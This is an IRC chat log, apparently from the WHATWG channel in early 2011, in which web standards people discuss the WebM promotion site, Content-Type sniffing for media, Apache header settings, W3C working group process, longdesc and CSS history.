My suggestion for http://webm.html5.org/ : focus on describing webm; leave out the gratuitous statement about H.264.

[08:13:00.0000] <annevk>
http://news.cnet.com/8301-30685_3-20029143-264.html

[08:14:00.0000] <annevk>
"We submitted the VP8 bitstream reference as an IETF Independent RFC [request for comments] to create a canonical public reference for the document," Google said. "This is independent from a standards track."

[08:19:00.0000] <Dashiva>
annevk: Can we have a prettier font on webm.html5.org? :)

[08:25:00.0000] <annevk>
Dashiva, suggest one to hsivonen

[08:25:01.0000] <annevk>
hsivonen, maybe you should put it on bitbucket or some such

[08:25:02.0000] <annevk>
hsivonen, so people can provide patches

[08:26:00.0000] <hsivonen>
annevk: I'll put it on bitbucket but not today

[08:27:00.0000] <hsivonen>
Dashiva: yes we can if someone other than me takes care of design and testing

[08:27:01.0000] <hsivonen>
I can pony up the cash for a TypeKit account if that's needed

[08:28:00.0000] <hsivonen>
the Museo font looks particularly nice even on IE6

[08:29:00.0000] <hsivonen>
hmm. rubys left already

[08:29:01.0000] <hsivonen>
anyway, the sentence about H.264 is there to give an explanation why the "royalty-free" bit is rather central

[08:32:00.0000] <espadrine>
hsivonen: do you think we could have something like a "ie9 should have built-in support of webm" petition on the website?

[08:33:00.0000] <hsivonen>
espadrine: no, I think that doesn't fit the purpose of the site

[08:34:00.0000] <espadrine>
you're probably right.

[08:34:01.0000] <hsivonen>
espadrine: the purpose of the site is to be a vendor-neutral destination that sites that use WebM can link to

[08:34:02.0000] <karlcow>
/me just discovered ##opera channel

[08:34:03.0000] <hsivonen>
espadrine: once Google publishes a WebM decoder for Media Foundation, I intend to suggest that as the primary WebM-enablement solution to visitors with IE on Vista or Windows 7

[08:35:00.0000] <espadrine>
good!

[08:35:01.0000] <espadrine>
Do you know when that is?

[08:35:02.0000] <hsivonen>
espadrine: I don't

[08:36:00.0000] <annevk>
hsivonen, I do agree with rubys it is probably better to not mention other formats at all

[08:37:00.0000] <hsivonen>
annevk: ok

[08:37:01.0000] <annevk>
hsivonen, negative arguments are best avoided

[08:37:02.0000] <hsivonen>
annevk, rubys: removed

[08:38:00.0000] <hsivonen>
annevk: I know. I wanted to give context to the royalty-free bit

[08:44:00.0000] <rubys>
annevk said what I meant to say better than I did

[08:45:00.0000] <rubys>
I'm pleased to see that statement removed; I don't believe "royalty-free" needs any more context.

[08:46:00.0000] <hsivonen>
rubys: I believe it hasn't even occurred to most people that a file format could be royalty-bearing.

[08:46:01.0000] <rubys>
this site does plant that seed in their mind; those that wish to can explore it.

[08:47:00.0000] <rubys>
My belief is that you will get more converts if they discover this for themselves than if you preach to them

[08:48:00.0000] <rubys>
in any case, most readers won't even know what H.264 is, all they will know is that it is free and that their browser is backlevel as it doesn't include support for this format.

[08:48:01.0000] <rubys>
(and given that it is royalty free, don't have cost as an excuse to not provide the necessary support)

[09:41:00.0000] <annevk>
Maciej came up with 5 > 2 as far as I can tell: http://krijnhoetmer.nl/irc-logs/whatwg/20070411#l-411

[09:41:01.0000] <annevk>
http://blog.whatwg.org/t-shirts and http://five-gt-two.spreadshirt.com/

[09:42:00.0000] <Ms2ger>
5 != 3 is the new 5 > 2

[09:46:00.0000] <rubys1>
5 != 3 won't have the same staying power, particularly as the W3C has already updated the FAQ for the logo

[09:48:00.0000] <annevk>
And it is far less amusing

[09:48:01.0000] <annevk>
To me anyway

[09:50:00.0000] <Philip`>
http://www.w3.org/2002/09/wbs/40318/issue-128-objection-poll/results - "ISSUE-128: Authors should be able to use where  can be used - Straw Poll for Objections"

[09:50:01.0000] <Philip`>
I wonder if anyone will file a cunningly-titled issue to exploit that XSS hole

[09:51:00.0000] <rubys1>
That bug in that form is frustrating

[09:52:00.0000] <Ms2ger>
Issue tracking tools will save us as long as we don't mention HTML?

[09:52:01.0000] <rubys>
I tried a number of different ways to enter that title, but couldn't find one that worked.

[09:52:02.0000] <Rik`>
hsivonen: tell me if I can translate tonight or if you plan to extract the strings

[12:38:00.0000] <Hixie>
anything interesting going on in the land of web standards?

[12:39:00.0000] <abarth>
Hixie: we're trying to make progress on an XSS mitigation for browsers

[12:40:00.0000] <Hixie>
any luck?

[12:41:00.0000] <Hixie>
i saw the thread, but stopped reading it after it seemed to go nowhere new

[12:41:01.0000] <abarth>
yeah, the main issue is still the same as last time

[12:41:02.0000] <abarth>
moz wants to do something complicated

[12:41:03.0000] <abarth>
i want to do something that targets XSS specifically

[12:43:00.0000] <abarth>
hopefully we'll come to an agreement, but otherwise, we'll probably try something experimental in webkit anyway

[13:38:00.0000] <zcorpan>
hsivonen: "    addParaWithLink("Chromium added WebM support in version 6.0. You need to upgrade. Or if your Chromium is not upgradeable, you may consider ", "installing the latest Chrome", "http://www.google.com/chrome", " instead.");" doesn't have the "to view WebM content"

[14:02:00.0000] <annevk>
Hixie, I toyed with ISSUE-125 and ISSUE-126

[14:03:00.0000] <annevk>
Hixie, I think I agree with you that it is not really worth fighting over

[14:03:01.0000] <annevk>
Hixie, I hope HTTP will change to make Content-Type somewhat more sane

[14:05:00.0000] <zcorpan>
annevk: can javascript: urls ever be something other than text/html?

[14:06:00.0000] <annevk>
they can be images in e.g. Gecko if every character is U+00FF or lower I believe

[14:06:01.0000] <annevk>
I think that will always result in an octet stream

[14:06:02.0000] <annevk>
and then it depends on sniffing

[14:07:00.0000] <zcorpan>
oh

[14:10:00.0000] <annevk>
anyway, nn

[14:35:00.0000] <foolip_>
hmm, maybe I've written enough change proposals for today

[15:19:00.0000] <zcorpan>
hmm, i don't think i have my 5 > 2 t-shirt anymore

[15:44:00.0000] <rob_zelnr>
well this is interesting, I didn't know about whatwg


2011-01-23
[18:41:00.0000] <abarth>
zcorpan is gone, but in Firefox they can be anything based on content sniffing and context

[19:15:00.0000] <oojacoboo>
anyone know what version of html most mail clients use?

[22:44:00.0000] <Evet>
is ext.js industry standard for client-side of javascript RIAs?

[01:48:00.0000] <annevk>
morning

[01:48:01.0000] <annevk>
I might post tomorrow instead

[04:43:00.0000] <foolip_>
anyone is welcome to contribute to the fight against Content-Type: http://www.w3.org/html/wg/wiki/ChangeProposals/NoVideoMime

[04:45:00.0000] <erlehmann>
whyyyyyy would you do that. ;_;

[04:47:00.0000] <erlehmann>
foolip_, wouldn't that make canPlayType even more non-intuitive?

[04:47:01.0000] <foolip_>
erlehmann, have you read the whole proposal?

[04:48:00.0000] <erlehmann>
i have. and i believe the removal of special casing is a good thing.

[04:52:00.0000] <erlehmann>
i find the lack of symmetry between canPlayType and actual honored mime type unconcerting. but i probably won't use canPlayType anyways.

[04:52:01.0000] <foolip_>
so that canPlayType("application/octet-stream") returns "maybe" ?

[04:52:02.0000] <foolip_>
that's what Opera does, actually, because I don't want the special-casing

[04:54:00.0000] <erlehmann>
"The MIME type  "application/octet-stream" with no parameters is never a type that the user agent knows it cannot render." … so many negations!

[04:55:00.0000] <foolip_>
it means that it shouldn't return ""

[04:55:01.0000] <foolip_>
but it doesn't explicitly say if it should be "maybe" or "probably"

[04:55:02.0000] <foolip_>
arguably it's not the job of HTML to specify that, though

[04:58:00.0000] <erlehmann>
btw, how would a universal sniffing algorithm be specified then? celebrity deathmatch between quicktime and gstreamer coders?

[04:59:00.0000] <foolip_>
the same as today, the spec already requires sniffing, but doesn't define it

[04:59:01.0000] <foolip_>
Content-Type is only checked as a filter, after it passes that filter sniffing is used

[04:59:02.0000] <foolip_>
(this is what the spec says, only Opera actually does it that way)

[05:00:00.0000] <foolip_>
I imagine specifying the sniffing wouldn't be particularly hard though, Ogg and WAVE are trivial, only for WebM is there really any room for discussion

[05:01:00.0000] <erlehmann>
the central commitee of FILE(1) would be pleased

[05:03:00.0000] <erlehmann>
… because as we know, there are known knowns; there are codecs we know we know. we also know there are known unknowns; that is to say we know there are codecs we do not know. </rumsfeld>

[05:07:00.0000] <foolip_>
are you quoting someone?

[05:08:00.0000] <erlehmann>
foolip_, https://secure.wikimedia.org/wikipedia/en/wiki/Unknown_unknown#Usage

[05:09:00.0000] <hsivonen>
zcorpan: "to view WebM content" added. Thanks

[05:09:01.0000] <hsivonen>
Rik`: I plan to extract the strings

[05:10:00.0000] <Rik`>
hsivonen: ok, ping me when it's done and I'll translate in French

[05:11:00.0000] <foolip_>
erlehmann, you're most welcome to come up with other proposals for Content-Type sanity, anything that we can agree on and then forget about would be great

[05:11:01.0000] <hsivonen>
Rik`: ok

[05:14:00.0000] <erlehmann>
foolip_, i was just joking. i actually have no idea what constitutes the best option.

[05:14:01.0000] <erlehmann>
my own experience is only that i have spent some time helping a website admin to change content-types to be able to use <audio> and <video>.

[05:15:00.0000] <erlehmann>
the only scenario i am really afraid of is that browsers may try to display a video sent as text/html if people universally disregard the content-type. unless that gets sniffed also …

[05:16:00.0000] <hsivonen>
/me approves of foolip_'s rant about the Chairs allowing inane ISSUEs to waste the group's time

[05:18:00.0000] <foolip_>
erlehmann, the idea is that if you send it as text/plain it will still work in <video>, but maybe not in a top-level browsing context, depending on the details of sniffing we arrive at

[05:18:01.0000] <foolip_>
erlehmann, like <img>, in other words

[05:19:00.0000] <erlehmann>
foolip_, the top-level browsing context is the one i am afraid about. are gif, jpg, png etc. sniffed at top-level?

[05:19:01.0000] <foolip_>
erlehmann, on that point I think that browsers actually differ

[05:20:00.0000] <foolip_>
IIRC, IE does sniff, but Opera doesn't

[05:20:01.0000] <foolip_>
or the other way around

[05:20:02.0000] <erlehmann>
(also, would safari ever sniff for webm in a top-level browsing context to avoid displaying it as text?)

[05:20:03.0000] <foolip_>
in any case, it's something we should standardize, and I believe standardized sniffing is indeed underway

[05:20:04.0000] <erlehmann>
just append a magic file to the spec, hue hue ue

[05:20:05.0000] <foolip_>
I'll of course mention this under "Negative"

[05:22:00.0000] <erlehmann>
i'll gladly donate my version of /usr/share/misc/magic.mgc

[05:23:00.0000] <foolip_>
hehe, I remember seeing big tables of magic bytes in some draft, so I think the data is there already :)

[05:38:00.0000] <hsivonen>
Responded to the comments on the webm.html5.org announcement blog post. I don't really understand where the negativity about a JavaScript-based sniffer comes from.

[06:16:00.0000] <annevk>
foolip_, just wanted to say +1

[06:19:00.0000] <foolip_>
annevk, if put to a poll though, I have a hard time imagining my proposal drawing the least objections :)

[06:20:00.0000] <annevk>
depends on how many HTTP gods are paying attention

[06:20:01.0000] <foolip_>
at least one :)

[06:20:02.0000] <annevk>
it would make sense for WebVTT and cache manifests too

[06:21:00.0000] <foolip_>
right, I dearly hope we're not going to check Content-Type for WebVTT

[06:21:01.0000] <annevk>
checking Content-Type really is a silly step, from an era when people still thought that type of content negotiation would work

[06:22:00.0000] <foolip_>
I've been tempted to configure my server to never send Content-Type, but am not sure if there's perhaps some things that would actually break, other than <video> that is

[06:22:01.0000] <foolip_>
/me tries serving HTML without Content-Type

[06:28:00.0000] <karlcow>
foolip: I understand the desire to do content sniffing to recover misconfigured cases, but what would be the purpose of breaking things in advance.

[06:30:00.0000] <foolip_>
karlcow, what things are being broken in advance?

[06:31:00.0000] <karlcow>
[09:27]  * foolip_ tries serving HTML without Content-Type

[06:32:00.0000] <karlcow>
or is it just for test.

[06:32:01.0000] <foolip_>
karlcow, that's just to see if it'll break or not, not at all related to the <video> thing

[06:32:02.0000] <annevk>
karlcow, less characters :)

[06:33:00.0000] <foolip_>
hehe, I don't think I'll see reduced bandwidth usage from that alone :)

[06:33:01.0000] <karlcow>
annevk: :p

[06:35:00.0000] <annevk>
I would love to take full control over HTTP

[06:35:01.0000] <annevk>
I would do somewhat evil things like change CRLF to just LF

[06:36:00.0000] <annevk>
omit a bunch of useless headers and generally just play around with things and probably breaking a bunch of browsers in subtle ways because no stock server ever tried that

[06:37:00.0000] <karlcow>
Somehow it is a way to manufacture the future. There is a stage where you set rules, then usage shows some weaknesses of these rules, and then you try to adjust (error recovery), but then we create new rules to ignore completly the first ones (no content-type anymore), that will certainly break things that we didn't will break. Manufacturing a new system. "We always know the mess we have, we never know the mess we will create."

[06:37:01.0000] <karlcow>
s/will break/know we will break/

[06:38:00.0000] <foolip_>
hsivonen, validator.nu needs Content-Type and assumed XML if it's missing, is this intentional?

[06:38:01.0000] <foolip_>
at least Opera seems to be OK with no Content-Type for HTML documents

[06:39:00.0000] <annevk>
karlcow, with the web we surprisingly often do not know the mess we have

[06:39:01.0000] <annevk>
karlcow, that is the whole point of e.g. defining an HTML parser or figuring out legacy encodings

[06:39:02.0000] <annevk>
karlcow, understanding the past

[06:40:00.0000] <annevk>
foolip_, you might be interested in http://tools.ietf.org/html/draft-ietf-websec-mime-sniff

[06:41:00.0000] <foolip_>
annevk, ah, that's the spec I was referring to when talking to erlehmann earlier

[06:41:01.0000] <karlcow>
annevk: yes you are repeating what I have written :)

[06:42:00.0000] <foolip_>
annevk, do you know if any browser implements this yet?

[06:45:00.0000] <karlcow>
http://www.la-grange.net/2011/01/23/content-test

[06:45:01.0000] <annevk>
foolip_, I think we do to some extent and Chrome definitely does (though maybe has a few changes)

[06:45:02.0000] <annevk>
foolip_, Gecko does too

[06:45:03.0000] <annevk>
foolip_, not sure about Safari and IE

[06:45:04.0000] <foolip_>
annevk, mkay

[06:46:00.0000] <foolip_>
in any case it looks like removing Content-Type from all types in apache isn't possible from .htaccess, so it's off limits to most of us

[06:46:01.0000] <karlcow>
ok cool, at least Safari, Opera, and Firefox enforces my content-type

[06:46:02.0000] <annevk>
yeah, Apache sucks when it comes to HTTP control

[06:46:03.0000] <foolip_>
of course you can remove most types and then set the default to none

[06:47:00.0000] <annevk>
I wish there was a handle "i'll take care of this on my own for these files thanks you very much"

[06:47:01.0000] <annevk>
and it would not output anything

[06:47:02.0000] <annevk>
not even HTTP/1.1

[06:48:00.0000] <foolip_>
annevk, that wouldn't make any sense without script, right?

[06:48:01.0000] <foolip_>
and with PHP, I believe you do have full control if you want it

[06:49:00.0000] <karlcow>
foolip: do you have DefaultType None

[06:49:01.0000] <foolip_>
(storing the file including the HTTP headers on disk seems rather old-school)

[06:49:02.0000] <foolip_>
karlcow, yes, but it only gets used if no other type is found

[06:49:03.0000] <karlcow>
yep

[06:49:04.0000] <annevk>
foolip_, probably not without script no; if you know how with PHP, please tell me how

[06:50:00.0000] <karlcow>
then did you try ForceType None

[06:51:00.0000] <karlcow>
<Files foo.html>ForceType None</Files>

[06:51:01.0000] <foolip_>
karlcow, yes, but I could only get ForceType with a non-none value to work

[06:51:02.0000] <karlcow>
Apache > 2.1.5

[06:52:00.0000] <foolip_>
2.2.something here

[06:53:00.0000] <foolip_>
well, ForceType " " sends and empty Content-Type header

[06:56:00.0000] <foolip_>
I guess disabling mod_mime would be quite effective :)

[06:56:01.0000] <karlcow>
DefaultType None  Apache > 2.2.7

[06:57:00.0000] <foolip_>
I'm on 2.2.14 it seems

[06:59:00.0000] <foolip_>
not a surprising bug to have

[06:59:01.0000] <foolip_>
if (!forceType && ...) ...

[06:59:02.0000] <foolip_>
and None is represented as NULL

[06:59:03.0000] <foolip_>
oops

[07:06:00.0000] <karlcow>
:) http://theshipthatflew.tumblr.com/post/2822714993

[07:20:00.0000] <gsnedders>
Can people with IE copy/paste results for http://gsnedders.html5.org/window-prop-attributes.html?

[07:23:00.0000] <gsnedders>
(And yes, I do know all the problems that test has)

[07:26:00.0000] <gsnedders>
(pref. results for both IE8 and 9)

[07:37:00.0000] <hsivonen>
foolip_: IIRC, it is intentional, since HTML has one clear type but different flavors of XML are a mess

[07:38:00.0000] <foolip_>
hsivonen, and I don't suppose there's any plan to sniff as per http://tools.ietf.org/html/draft-ietf-websec-mime-sniff-00 ?

[07:38:01.0000] <hsivonen>
foolip_: no plan

[07:40:00.0000] <foolip_>
k, no matter, don't suppose the text/html Content-Type is going to be extinct any time soon

[07:44:00.0000] <hsivonen>
I wonder how the estimate of Drupal powering over 1% of Web sites has been reached.

[07:45:00.0000] <hsivonen>
seems incredible on the face of things

[07:45:01.0000] <hsivonen>
also, what do percentages of the Web mean? percentage of known servers? percentage of pages in Google's cache?

[07:46:00.0000] <hsivonen>
obviously, the number of Web pages is infinite, because there are sites that have an infinite dynamic URL space

[08:07:00.0000] <kennyluck>
percentage of known servers, I guess.

[08:12:00.0000] <hsivonen>
hmm. gsnedders reveals who is in the cabal: https://twitter.com/#!/gsnedders/whatwg-cabal/members

[08:14:00.0000] <Ms2ger>
gsnedders, you're out :)

[08:19:00.0000] <Philip`>
That cabal is only a cover story for the real cabal

[08:19:01.0000] <Ms2ger>
There is no real cabal

[08:32:00.0000] <gsnedders>
hsivonen: Hah, so you found what I created ages ago when I tried to find out if Twitter lists had any use.

[08:36:00.0000] <hsivonen>
/me finds http://playfreedom.org/

[10:14:00.0000] <Hixie>
http://www.w3.org/mid/4D3C6E7E.5000203⊙oc is right on.

[10:14:01.0000] <Hixie>
and i often don't agree with marcos ;-)

[10:26:00.0000] <Philip`>
"it will make for a hell of a movie!:)" - I wonder who'll play Hixie in the The Social Network-style moviefication of the WHATWG

[10:58:00.0000] <hsivonen>
I wonder who designed the SVG logo. It's so much nicer than the HTML5 logo.

[10:59:00.0000] <hsivonen>
also, if the HTML5 logo came from the idea of a keytone that morphed into a shield, the visual association with a keystone got completely lost

[10:59:01.0000] <hsivonen>
I'd even argue that keystone is bad i18n, because the same metaphor isn't universal in other languages

[10:59:02.0000] <paul_irish>
http://www.root2art.co.uk/ Harvey Rayner after shepazu ran a competition for it

[11:00:00.0000] <hsivonen>
paul_irish: thanks

[11:01:00.0000] <hsivonen>
a competition mught have been a better way to develop a HTML(5) logo, too

[11:01:01.0000] <hsivonen>
*might

[11:05:00.0000] <foolip_>
hsivonen, you really like the SVG logo? no irony?

[11:05:01.0000] <hsivonen>
foolip_: yes. at least comparatively. do I have bad taste?

[11:07:00.0000] <foolip_>
well, taste differs, it's just that at the office last week we had a collective shock when we realized http://www.w3.org/Graphics/SVG/svglogo.svg was actually an official logo

[11:07:01.0000] <foolip_>
anyway, no point in discussing taste, was just afraid my irony-detector was broken :)

[11:08:00.0000] <foolip_>
and parental control for <video> lives again! http://www.w3.org/Bugs/Public/show_bug.cgi?id=10904#c6

[11:08:01.0000] <foolip_>
s/#c6//

[11:08:02.0000] <hsivonen>
foolip_: more or less shocked than about the W3C HTML5 logo?

[11:08:03.0000] <foolip_>
hsivonen, we were pretty unimpressed by that too

[11:09:00.0000] <foolip_>
particularly how the 5 is two disjoint paths, so that antialiasing at the "wrong" resolution makes the orange shine through inbetween

[11:12:00.0000] <foolip_>
witness the mess that is canPlayType! http://wiki.whatwg.org/wiki/Video_type_parameters#Browser_Support

[11:19:00.0000] <paul_irish>
my, what a beauty!

[11:52:00.0000] <Yuhong>
http://groups.google.com/group/comp.infosystems.www.authoring.html/msg/358f05eb3e9a79b5

[11:52:01.0000] <Yuhong>
On Netscape and CSS history.

[11:55:00.0000] <Hixie>
foolip_: man, you're on a roll

[11:55:01.0000] <Ms2ger>
/me read "troll"

[11:56:00.0000] <jcranmer>
roll, troll, what's the difference?

[11:58:00.0000] <Ms2ger>
A "t".

[12:01:00.0000] <Yuhong>
How many people know that the first draft of CSS dates back to 1994?

[12:01:01.0000] <jcranmer>
how many people care?

[12:02:00.0000] <Yuhong>
BTW, Google Groups for "HTML 3.0 vs Netscape". Part of the discussion was about style sheets, and it dates back to 1995.

[12:04:00.0000] <Hixie>
ah, the bad old days

[12:04:01.0000] <Hixie>
those were the days

[12:04:02.0000] <jcranmer>
1995, before I had a computer with internet access

[12:04:03.0000] <Ms2ger>
How old were you then? :)

[12:04:04.0000] <gsnedders>
/me sticks his head up.

[12:04:05.0000] <gsnedders>
I don't remember.

[12:04:06.0000] <Hixie>
...in many ways identical to these days :-P

[12:05:00.0000] <jcranmer>
hmm

[12:05:01.0000] <Yuhong>
UdiWWW was one browser that supported style sheets back them.

[12:05:02.0000] <jcranmer>
reading the list of newsgroups in a purely random order is fun

[12:07:00.0000] <jcranmer>
alt.fan.unacanceller

[12:07:01.0000] <hsivonen>
I wonder what Arjun Ray is doing these days. one could spend a weekend reading his ciwah posts from the late 1990s

[12:10:00.0000] <Yuhong>
Arena was W3C's reference browser back then.

[12:13:00.0000] <Yuhong>
Did CSS really take a lot of resources to implement back in 1994? I have seen this claim.

[12:17:00.0000] <jgraham>
/me wonders if we can get Tim Burton to direct the WHATWG movie

[12:17:01.0000] <jgraham>
I love the idea of making it faux-Gothic

[12:18:00.0000] <gsnedders>
Heh, that would be awesome. That also reminds me that I was meaning to watch Corpse Bride again…

[12:21:00.0000] <Dashiva>
jgraham: Just cast gsnedders as the main character and it won't need to be faux :P

[12:22:00.0000] <gsnedders>
Dashiva: That reminds me, goth club next Saturday ;P

[12:29:00.0000] <Yuhong>
The funny thing about it was that it was back when Marc Andreessen was posting on the www-* mailing lists.

[12:41:00.0000] <jgraham>
Dashiva: The first rule of Tim Burton is that Johnny Depp is the main character

[12:42:00.0000] <jgraham>
So, taht's Hixie sorted

[12:43:00.0000] <foolip_>
Hixie, I'm home alone this weekend, nothing better to do :)

[12:43:01.0000] <jgraham>
Helena Bonham Carter also has to appear

[12:43:02.0000] <jgraham>
I vote we go for poetic license and cast her as Anne

[12:43:03.0000] <jgraham>
No American audience will go see a film with a man called Anne anyway

[12:44:00.0000] <jgraham>
/me expects to die next time he sees annevk

[12:45:00.0000] <Hixie>
foolip_: well so far i agree with all four of them, and they're gonna save me the effort of writing my own, so thanks :-)

[12:46:00.0000] <foolip_>
Hixie, np, looks like I'm out of open ISSUEs that I care about though :)

[12:46:01.0000] <foolip_>
good thing the weekend is almost over

[12:47:00.0000] <foolip_>
perhaps I'll troll about parental control a bit before bedtime

[12:48:00.0000] <Hixie>
the only issue that has a CP for which i feel i'll have to write a CCP is -127

[12:49:00.0000] <Hixie>
and before i write a ccp i have to work out if it would be less effort to write the ccp or just do what julian wants

[12:49:01.0000] <Hixie>
since i'm going to have time wasted either way anyway, best not waste more than necessary

[12:50:00.0000] <foolip_>
long term it might be a good tactic to tire him out with counter proposals, but it hasn't worked well so far

[12:50:01.0000] <jgraham>
I have not seen any evidence that such a long term strategy could work

[12:52:00.0000] <foolip_>
perhaps I wasted my time writing a CP for ISSUE-151 before there was a CP I didn't agree with

[12:53:00.0000] <foolip_>
if such a CP drops in on the last day before the deadline, do the chairs usually extend the deadline for counter-CPs?

[12:53:01.0000] <foolip_>
if not, it's really too easy to create process spam and waste everyone's time

[12:54:00.0000] <Hixie>
oh, i guess i need to write a CCP for -155, too, but the deadline for CPs hasn't triggered yet even though it already has a CP.

[12:54:01.0000] <Hixie>
and -156

[12:54:02.0000] <Hixie>
oh that doesn't have a CP yet, nm

[12:55:00.0000] <foolip_>
so what happens with ISSUEs with only 1 CP? does that CP automatically get accepted?

[12:55:01.0000] <foolip_>
/me looks for Process Guideline

[12:56:00.0000] <foolip_>
found it: http://dev.w3.org/html5/decision-policy/decision-policy.html#change-proposal

[12:58:00.0000] <Hixie>
they do a request for amicable resolution

[12:59:00.0000] <Hixie>
not clear to me what happens if there's objections to the cp but no ccp

[12:59:01.0000] <Hixie>
i guess we might find out with the content-type stuff

[12:59:02.0000] <foolip_>
no, Julian had a CP for that, to change the wording somewhat

[13:01:00.0000] <foolip_>
clearly the Process is Lots of Fun, but are there any serious issues that we've been able to put behind us after going through it?

[13:02:00.0000] <Hixie>
foolip_: yes but there's been objections

[13:03:00.0000] <Hixie>
foolip_: i'm not aware of any serious issues being escalated and resolved by the process

[13:03:01.0000] <Hixie>
unless you count longdesc=""

[13:03:02.0000] <Hixie>
but people are still working to reopen that

[13:03:03.0000] <benschwarz>
Hixie: .htaccess doing you well?

[13:04:00.0000] <foolip_>
well, at least it affects some conformance classes, so it's more serious than certain other ISSUEs in the pipeline

[13:05:00.0000] <Hixie>
benschwarz: the gzip thing? i put it in, but haven't checked to see if it's working.

[13:05:01.0000] <benschwarz>
k

[13:06:00.0000] <Hixie>
foolip_: there's a list of resolved issues somewhere

[13:06:01.0000] <Hixie>
on the wg homepage iirc

[13:06:02.0000] <foolip_>
Hixie, http://www.w3.org/html/wg/tracker/issues/closed would be it

[13:07:00.0000] <Hixie>
ah ok

[13:07:01.0000] <Hixie>
there you go

[13:07:02.0000] <foolip_>
/me opens bug for dropping longdesc support in Opera

[13:08:00.0000] <Hixie>
so you can work out if any "serious" issues on that list have been put behind us, though i guess you'd have to check for some of them to make sure they went through the process (many of the early ones didn't) and whether the resolutions came from the process or not

[13:09:00.0000] <foolip_>
microdata is semi-serious, in that it made a big difference for the visibility of the feature

[13:09:01.0000] <foolip_>
anyway, enough pondering about ISSUEs :)

[13:10:00.0000] <Hixie>
the microdata issue was a complete non-issue imho, but ok :-)

[13:12:00.0000] <foolip_>
well, you don't think the feature should exist at all, so that's no surprise :)

[13:13:00.0000] <Hixie>
well, that too

[13:14:00.0000] <Hixie>
but i just meant that it makes no difference to me how the w3c divvies up its specs

[13:14:01.0000] <foolip_>
huh, so even though we removed longdesc="", browsers have to keep reflecting it as longDesc ?

[13:15:00.0000] <Hixie>
we didn't remove longdesc

[13:15:01.0000] <Hixie>
despite what the a11y crowd would have you believe

[13:15:02.0000] <Hixie>
(nor did we kill any kittens or torture and blind people)

[13:15:03.0000] <Hixie>
we just made it non-conforming

[13:15:04.0000] <Hixie>
like <font>

[13:16:00.0000] <foolip_>
http://lists.w3.org/Archives/Public/public-html/2010Aug/att-0112/issue-30-decision.html sure had me fooled

[13:16:01.0000] <foolip_>
"Therefore, the HTML Working Group hereby adopts the Change Proposal to not include the longdesc attribute in the language."

[13:18:00.0000] <foolip_>
looking closer, no change proposal actually does that, but I guess it's http://lists.w3.org/Archives/Public/public-html/2010Feb/0393.html that "won"

[13:18:01.0000] <Hixie>
my impression is that certain members in the a11y community think that by describing the position they don't agree with in extreme terms, they're more likely to get their way

[13:19:00.0000] <foolip_>
wouldn't it make sense to remove the reflection though, unless it's already widely implemented?

[13:19:01.0000] <Hixie>
(unfortunately all it does is make people believe that that extreme viewpoint is the truth, when they _don't_ get what they want)

[13:19:02.0000] <Hixie>
(which harms accessibility)

[13:20:00.0000] <Hixie>
foolip_: .longDesc is uniformly implemented, no?

[13:20:01.0000] <foolip_>
Hixie, I was assuming it's not, but I'll check

[13:20:02.0000] <foolip_>
if it is, then it should stay

[13:21:00.0000] <Hixie>
i was assuming it is. if it isn't, then i agree it should go.

[13:49:00.0000] <foolip_>
Hixie, you're right, every browser I tested (Opera, Firefox, Chrome, IE) supports it

[13:49:01.0000] <foolip_>
a bit surprising given that Opera ever did anything with it UI-wise, as far as I know

[14:04:00.0000] <Hixie>
opera only does soemthing ui-wise with it since a few months ago, because chaals wanted to show that a browser implemented it, iirc

[14:06:00.0000] <Yuhong>
First it was Netscape 4 that was non-compliant, then it was IE6 that was non-compliant...

[14:06:01.0000] <Yuhong>
The funny thing is, guess when the standards that the browsers were non-compliant dates from?

[14:07:00.0000] <Hixie>
has any browser ever been fully compliant to any standard?

[14:07:01.0000] <Yuhong>
1997-1998!

[14:08:00.0000] <Yuhong>
If you can't guess it, I am talking about CSS.

[14:09:00.0000] <Yuhong>
Particularly levels 1 and 2.

[14:09:01.0000] <Hixie>
the spec for level 2 still isn't done, last i checked

[14:09:02.0000] <Yuhong>
I am talking about 2.0, not 2.1.

[14:09:03.0000] <Hixie>
there's no 2.0

[14:09:04.0000] <Hixie>
there's just css2, and different revisions of it

[14:10:00.0000] <Yuhong>
http://www.w3.org/TR/1998/REC-CSS2-19980512/

[14:10:01.0000] <Yuhong>
http://www.w3.org/TR/REC-CSS1-961217

[14:11:00.0000] <Yuhong>
In the meantime, there is the year long gap between drafts of CSS3.

[14:11:01.0000] <Hixie>
http://www.w3.org/TR/1998/WD-css2-19980128/ http://www.w3.org/TR/2002/WD-CSS21-20020802/

[14:12:00.0000] <Hixie>
those are the drafts on either side of the CSS2 draft you cited

[14:12:01.0000] <Hixie>
there's nothing special about the contents of the one you cited

[14:12:02.0000] <Hixie>
it's just one step along the way of writing the level 2 spec

[14:14:00.0000] <Yuhong>
Yea, I know 2.1 isn't done.

[14:14:01.0000] <Hixie>
the ".1" just means "revision 1"

[14:14:02.0000] <wilhelm>
http://www.opera.com/docs/specs/presto27/css/properties/ ← Fully compliant? Not yet. (c:

[14:14:03.0000] <Hixie>
which is kind of a misnomer, since it's been dozens of public revisions and thousands of secret ones

[14:15:00.0000] <Hixie>
but that's just the way the w3c does things

[14:29:00.0000] <Yuhong>
<wilhelm> http://www.opera.com/docs/specs/presto27/css/properties/ ← Fully compliant? Not yet.

[14:30:00.0000] <Yuhong>
And that is the ridicolous thing.

[14:31:00.0000] <gsnedders>
Yuhong: Ultimately web developers want stuff in CSS3 and not the non-implemented stuff in CSS2 now, and it's ultimately a choice of development resources.

[14:44:00.0000] <inimino>
Apparently browsers reload an iframe when it is moved in the DOM (maybe for security reasons?) but I don't see anything about that here: http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#the-iframe-element

[14:44:01.0000] <inimino>
Is it somewhere else or just not specified?

[14:45:00.0000] <inimino>
(or am I just missing it?)

[14:57:00.0000] <annevk>
Hixie, Julian was suggesting the rules should be the same as they were for HTTP

[14:57:01.0000] <annevk>
but yeah

[14:58:00.0000] <Hixie>
inimino: not all browsers do; the lack of such a requirement in html is intentional

[15:01:00.0000] <annevk>
118 comments

[15:02:00.0000] <annevk>
name changes sure are popular

[15:03:00.0000] <foolip_>
but why, oh why, is the clueless:cluefull ratio so mindbogglingly high?

[15:04:00.0000] <inimino>
Hixie ⋱ Oh, ok :(

[15:04:01.0000] <annevk>
I have a theory for that and I suppose it is an actual theory

[15:05:00.0000] <Hixie>
i updated the faq with most questions i saw

[15:05:01.0000] <annevk>
The more simple the statement the more people will have something to say about it. And the less likely it is that they make sense.

[15:05:02.0000] <Hixie>
fundamentally the problem seems to be that people think browser vendors receive specs from on-high and implement them atomically

[15:05:03.0000] <annevk>
